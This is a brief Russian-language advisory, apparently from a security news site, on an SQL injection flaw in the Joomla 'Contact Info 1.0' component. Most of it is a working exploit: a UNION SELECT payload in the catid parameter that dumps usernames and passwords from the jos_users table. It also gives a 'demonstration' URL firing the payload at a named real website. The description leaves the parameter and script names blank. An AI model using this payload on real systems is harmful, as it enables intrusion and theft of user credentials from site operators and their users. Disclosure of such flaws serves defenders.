Программа: Joomla Component Contact Info 1.0

Уязвимость позволяет удаленному пользователю выполнить произвольные SQL
команды в базе данных приложения. Уязвимость существует из-за недостаточной
обработки входных данных в параметре «» сценарием . Удаленный пользователь может
с помощью специально сформированного запроса выполнить произвольные SQL команды
в базе данных приложения.

Эксплоит:

http://localhost/Path/index.php?option=com_contactinfo&catid=[exploit]

[exploit]-9999/**/UNION/**/SELECT/**/1,2,concat(username,char(58), password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*

Демонстрация:

http://www.planetacentr.ru/index.php?option=com_contactinfo&catid=-9999/**/UNION/* */SELECT/**/1,2,concat(username,char(58),password),4,5,6,7,8,9,0,11,12,13,14,15,16+from+jos_users/*



Оставить мнение